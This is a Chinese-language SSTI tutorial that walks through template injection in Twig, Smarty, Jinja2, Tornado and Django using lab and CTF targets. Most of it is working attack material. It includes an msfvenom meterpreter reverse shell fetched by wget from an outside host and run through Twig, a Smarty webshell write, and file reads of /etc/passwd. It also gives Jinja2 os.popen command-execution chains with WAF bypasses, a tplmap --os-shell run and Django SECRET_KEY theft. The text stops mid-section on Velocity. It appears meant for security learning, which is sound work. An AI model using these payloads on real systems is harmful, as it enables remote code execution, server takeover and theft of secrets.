SSTI模版注入学习

模版引擎

模版引擎(这里特指用于Web开发的模版引擎)是为了使用户界面与业务数据(内容)分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模版引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI(模版注入)

SSTI就是服务器端模版注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给Vier视图层,经过模版渲染展示给 用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未进过任何处理就将其作为Web应用模版的一部分,模版引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模版的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模版的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模版引擎发现了很大的安全漏洞,然后模版引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模块引擎。

附表

image-20220120174838082

PHP中的SSTI

php常见的模版:twig,smarty,blade

Twig

Twig是来自于Symfony的模版引擎,他非常易于安装和使用。它的操作有点像Mustache和liquid

示例代码:

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
  echo $output;
?>

Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。

其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于GET请求参数$_GET[“name”] 。

显然这段代码并没有什么问题,即使你想通过name参数传递一段JavaScript代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

image-20220125190409616

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

<?php
  require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
  Twig_Autoloader::register(true);
  $twig=newTwig_Environment(newTwig_Loader_String());
  $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
  echo $output;?>

上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:

image-20220125191148696

如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

在Twig模板引擎里,, 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。

例如这里用户输入name=20 ,则在服务端拼接的模版内容为:

image-20220125191252096

尝试插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:

bmjoker{# comment #}{{2*8}}OK

实际服务端要进行编译的模板就被构造为:

bmjoker{# comment #}{{2*8}}OK

由于 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 16 作为模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK

通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Twig 为例):

image-20220207172609049

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。

每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已。

接下来借助XVWA的代码来实践演示一下SSTI注入

如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据

<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
...

xvwa源代码如下

 <div class="thumbnail">
<!--
<img class="img-responsive" src="http://placehold.it/800x300" alt="">
-->
<div class="caption-full">
<h4><a href="#">Server Side Template Injection (SSTI)</a></h4>

<p align="justify">
Web application uses templates to make the web pages look more dynamic. Template Injection occurs when user input is embedded in a template in an unsafe manner. However in the initial observation, this vulnerability is easy to mistake for XSS attacks. But SSTI attacks can be used to directly attack web servers’ internals and leverage the attack more complex such as running remote code execution and complete server compromise. </p>
<p>Read more about Server Side Template Injection (SSTI)<br>
<strong><a target="_blank" href="http://blog.portswigger.net/2015/08/server-side-template-injection.html">http://blog.portswigger.net/2015/08/server-side-template-injection.html </a></p></strong>

</div>

</div>

<div class="well">
<div class="col-lg-6">
<p>
Hint: <br>
<ul>
<li>Template Engine used is TWIG </li>
<li>Loader function used = "Twig_Loader_String </li>
</ul>
</p><br>
<p>Please Enter your Name.
<form method='get' action=''>
<div class="form-group">
<label></label>
<input class="form-control" width="50%" placeholder="Your Name" name="name"></input> <br>
<div align="right"> <button class="btn btn-default" type="submit" name='submit'>Submit Button</button></div>
</div>
</form>
<?php
if (isset($_GET['submit'])) {
$name=$_GET['name'];
// include and register Twig auto-loader
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
try {
// specify where to look for templates
$loader = new Twig_Loader_String();

// initialize Twig environment
$twig = new Twig_Environment($loader);
// set template variables
// render template
$result= $twig->render($name);
echo "Hello $result";

} catch (Exception $e) {
die ('ERROR: ' . $e->getMessage());
}
}

?>
</p>
</div>

<hr>

</div>
<?php include_once('../../about.html'); ?>

通过注入了探测字符串 $579,以查看应用程序是否进行了相应的计算:

image-20220207173353137

根据这个响应,我们可以推测这里使用了模板引擎,因为这符合它们对于{{}} 的处理方式

在这里提供一个针对twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

image-20220207173717250

使用msf生成了一个php meterpreter有效载荷

msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=172.20.10.2 LPORT=4321 > /var/tmp/shell.txt

msf进行监听:

image-20220207180708620

模板注入远程下载shell,并重命名运行

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://172.20.10.2/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}

image-20220207181526053

以上就是php twig模板注入,由于以上使用的twig为2.x版本,现在官方已经更新到3.x版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的payload:

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

具体payload分析详见:《TWIG 全版本通用 SSTI payloads

           《SSTI-服务器端模板注入

Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流


/**
* gets a stream variable
*
* @param string $variable the stream of the variable
*
* @throws SmartyException
* @return mixed the value of the stream variable
*/
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);

return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

因此我们可以用这个方法来读取文件

{self::getStreamVariable("file:///etc/passwd")}

同样在

smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法

class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);

return true;
}
}

可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),函数原型:

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

因此我们可以构造payload写个webshell

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

CTF实例讲解

CTF地址:https://buuoj.cn/challenges(CISCN2019华东南赛区Web11)

题目模拟了一个获取IP的API,并且可以在最下方看到 “Build With Smarty !” 可以确定页面使用的是Smarty模板引擎。

image-20220208093133128

在页面的右上角发现了IP,题目中提供的API均无法访问,猜测这个IP受到X-Forwarded-For头控制。

image-20220208093254678

修改XXF头发现值发生变化

image-20220208094103720

直接构造{system(‘cat /flag’)}即可得到flag

image-20220208094226601

本题中引发SSTI的代码简化后如下:

<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}

可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。

Smarty-SSTI常规利用方式

{$smarty.version}

{$smarty.version}    #获取smarty的版本号

image-20220208094843016

{php}{/php}

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错:

image-20220208095011038

因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

{literal}

<script language="php">phpinfo();</script>   

这个地方借助了 {literal} 这个标签,因为 {literal} 可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。但是这种写法只适用于php5环境,这道ctf使用的是php7,所以依然失败

image-20220208095233169

getstreamvariable

{self::getStreamVariable("file:///etc/passwd")}

可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法。然而使用这个payload会触发报错如下:

image-20220208095627806

可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。

5.{if}{/if}

{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

既然这样就将XFF头改为 {if phpinfo()}{/if} :

image-20220208095833547

同样还能用来执行一些系统命令:

image-20220208095933513

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

关于blade模板这里不再多说,请参考《laravel Blade 模板引擎

Python中的SSTI

python中常见的模版有: Jinja2, tornado

Jinja2

Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块

Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在 {%…%} 块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:

<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, {{name|capitalize}}

我们使用vulhub提供的环境进行复现,搭建成功后访问首页如图

image-20220208181230660

进入Docker容器来看一下对应的代码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

t = Template(“hello” + name)这行代码表示,将前段输入的name拼接到模版,此时name的输入没有进过任何检测,尝试使用模版语言测试:

image-20220208181449567

如果使用了一个固定好了的模版,在模版渲染之后传入数据,就不存在模板注入,就好像SQL注入的预编译一样,修复上面代码如下:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)

if __name__ == "__main__":
app.run()

编译运行,再次注入就会失败

image-20220208183412224

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__   :对包含函数全局变量的字典的引用__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

用file对象来读取文件

for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('ol4three.txt').readlines()

运行结果

╰─$ python ssti.py
<type 'file'>
['hello ol4three ~']

上述代码先通过class获取字典对象所属的类,再通过basebases[0])拿到基类,然后使用subclasses()获取子类列表,在子类列表中直接寻找可以利用的类

为了方便理解,我直接把获取到的子类列表打印出来:

for c in {}.__class__.__base__.__subclasses__():
print(c)

打印结果如下(python2.7.18)

<type 'type'>
<type 'weakref'>
<type 'weakcallableproxy'>
<type 'weakproxy'>
<type 'int'>
<type 'basestring'>
<type 'bytearray'>
<type 'list'>
<type 'NoneType'>
<type 'NotImplementedType'>
<type 'traceback'>
<type 'super'>
<type 'xrange'>
<type 'dict'>
<type 'set'>
<type 'slice'>
<type 'staticmethod'>
<type 'complex'>
<type 'float'>
<type 'buffer'>
<type 'long'>
<type 'frozenset'>
<type 'property'>
<type 'memoryview'>
<type 'tuple'>
<type 'enumerate'>
<type 'reversed'>
<type 'code'>
<type 'frame'>
<type 'builtin_function_or_method'>
<type 'instancemethod'>
<type 'function'>
<type 'classobj'>
<type 'dictproxy'>
<type 'generator'>
<type 'getset_descriptor'>
<type 'wrapper_descriptor'>
<type 'instance'>
<type 'ellipsis'>
<type 'member_descriptor'>
<type 'file'>
<type 'PyCapsule'>
<type 'cell'>
<type 'callable-iterator'>
<type 'iterator'>
<type 'sys.long_info'>
<type 'sys.float_info'>
<type 'EncodingMap'>
<type 'fieldnameiterator'>
<type 'formatteriterator'>
<type 'sys.version_info'>
<type 'sys.flags'>
<type 'exceptions.BaseException'>
<type 'module'>
<type 'imp.NullImporter'>
<type 'zipimport.zipimporter'>
<type 'posix.stat_result'>
<type 'posix.statvfs_result'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class '_weakrefset._IterationGuard'>
<class '_weakrefset.WeakSet'>
<class '_abcoll.Hashable'>
<type 'classmethod'>
<class '_abcoll.Iterable'>
<class '_abcoll.Sized'>
<class '_abcoll.Container'>
<class '_abcoll.Callable'>
<type 'dict_keys'>
<type 'dict_items'>
<type 'dict_values'>
<class 'site._Printer'>
<class 'site._Helper'>
<type '_sre.SRE_Pattern'>
<type '_sre.SRE_Match'>
<type '_sre.SRE_Scanner'>
<class 'site.Quitter'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>

使用dir来看一下file这个子类的内置方法:

dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

将读取的文件传入并使用readlines()方法读取,就相当于:

file('ol4three.txt').readlines()

我们在使用jinja2的语法封装成可解析的样子:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ print(c("/etc/passwd").readlines()) }}
{% endif %}
{% endfor %}

image-20220209153255402

会发现没有读取成功,原因是:python3已经移除了file。所以利用file子类文件读取只能在python2中用。

docker容器默认使用python3版本我们使用python2在进行查看发现已经成功执行命令

image-20220209153646329

使用内置模块执行命令

上面的实例中我们使用dir把内置的对象列举出来,其实可以用globals更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
╰─$ python ssti.py
(<class 'site._Printer'>, 71)
(<class 'site.Quitter'>, 76)

我们可以看到在元组68,73的位置找到了os方法,这样就可以构造命令执行payload:

().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')

不过同样,只能在python2版本中使用

这时候就要推荐builtins:

#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
#print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
(<class 'warnings.WarningMessage'>, 58)
(<class 'warnings.catch_warnings'>, 59)
(<class '_weakrefset._IterationGuard'>, 60)
(<class '_weakrefset.WeakSet'>, 61)
(<class 'site._Printer'>, 71)
(<class 'site.Quitter'>, 76)
(<class 'codecs.IncrementalEncoder'>, 77)
(<class 'codecs.IncrementalDecoder'>, 78)

这时候我们的命令执行payload就出来了:

python3:

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python2:

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

实际效果:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__("os").popen("id").read()") }}
{% endif %}
{% endfor %}

image-20220209161439230

基础payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

一些绕过waf的姿势

过滤[

#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

利用实例

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //popen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

github地址:https://github.com/epinna/tplmap

╰─$ python3 tplmap.py -u "http://172.20.10.2:8000/?name=*" --os-shell
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'name' is injectable
Smarty plugin is testing rendering with tag '*'
Smarty plugin is testing blind injection
Mako plugin is testing rendering with tag '${*}'
Mako plugin is testing blind injection
Python plugin is testing rendering with tag 'str(*)'
Python plugin is testing blind injection
Tornado plugin is testing rendering with tag '{{*}}'
Tornado plugin is testing blind injection
Jinja2 plugin is testing rendering with tag '{{*}}'
Jinja2 plugin has confirmed injection with tag '{{*}}'
Tplmap identified the following injection point:

GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

Run commands on the operating system.
posix-linux $ whoami
www-data

一键shell真香,还支持其他模版(Smarty, Mako, Tornado, Jinja2) 的注入检测

Tornado

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

以下代码将定义一个TEMPLATE变量作为一个模板文件,然后使用传入的name替换模板中的”FOO”,在进行加载模板并输出,且未对name值进行安全检查输入情况。

import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello max </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))

application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()

我们这里来用BUUCTF的easy_tornado来学习一下tornado render注入:

image-20220209173354843

image-20220209173408296

image-20220209173423416

image-20220209173438540

根据上面的信息,我们知道flag在/fllllllllllllag文件中

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页render配合Tornado使用

最后就是这段代码md5(cookie_secret+md5(filename)),再来分析我们访问的链接:

http://e583b767-ac22-4e38-8217-71136655925f.node4.buuoj.cn:81/file?filename=/flag.txt&filehash=3cf85a0e74c78ca404fd6ba98f1eacaa

推测md5加密过后的值就是url中filehash对应的值,想获得flag只要我们在filename中传入/fllllllllllllag文件和filehash,所以关键是获取cookie_secret

在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings[“cookie”])}},这个其实就是handler.settings对象,里面存储着一些环境变量,具体分析请参照《python SSTI tornado render模板注入》。

观察错误页面,发现页面返回的由msg的值决定

image-20220209173614183

修改msg的值注入,获得环境变量

image-20220209173654529

得到cookie_secret的值,根据上面的md5进行算法重构,就可以得到filehash,这里给出py3的转换脚本

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="0eac01c9-92b5-459e-b475-287893e5ff3f"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

image-20220209174140368

得到filehash=e952b058e7c5d648833b3bb13c52bb1b,获取flag

http://e583b767-ac22-4e38-8217-71136655925f.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=e952b058e7c5d648833b3bb13c52bb1b

image-20220209174219355

Django

先看存在漏洞的代码:

def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

很明显 email 就是注入点,但是条件被限制的很死,很难执行命令,现在拿到的只有有一个和user有关的变量request.user,这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。

后来发现Django自带的应用 “admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

image-20220209175837650

所以可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

payload如下:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Java中的SSTI

java常见的引擎:FreeMarker, velocity

velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

基本语法

语句标识符

